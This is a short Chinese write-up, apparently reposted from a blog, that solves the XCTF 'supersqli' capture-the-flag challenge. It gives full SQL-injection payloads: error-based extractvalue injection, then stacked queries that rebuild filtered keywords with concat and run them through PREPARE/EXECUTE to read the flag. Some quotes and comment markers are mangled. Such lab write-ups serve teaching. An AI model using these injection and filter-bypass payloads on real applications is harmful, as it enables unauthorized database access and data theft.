攻防世界XCTF:supersqli
程序员文章站
2022-05-15 21:30:31
...
加个单引号发现报错
比较烦的就是过滤了select
这样就无法进行查数据了,而且这里的/i就是忽略了大小写。无法进行大小写过滤
首先可以通过报错函数,把数据库给注入出来
-1' and extractvalue(1,concat(1,version()))-- +
版本信息:.18-MariaDB
数据库名称:supersqli
然后经过测试发现这里可以执行多条语句,也就是堆叠注入
再进行查这个数据库有多少表:
第一张表:1919810931114514
第二章表:words
虽然这里过滤了select和where等,但是可以通过执行多语句,将要执行的sql语句进行拼接,这样就可以将过滤的sql关键字拆分绕过检测
-1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+
注意这里table_name="" 使用双引号是为了和单引号区分开来
这里@是定义一个用户自定义变量的意思
PREPARE是预处理,这里预处理语句必须大写,格式就是PREPARE sql_query from @sql_query;execute sql_query;
然后查字段内容
-1’;use supersqli;set @sql=concat(‘s’,'elect flag
from 1919810931114514
');PREPARE sql_query FROM @sql;EXECUTE sql_query;–+
这里对字段名 flag 使用 这对符号包裹我猜也是为了区分吧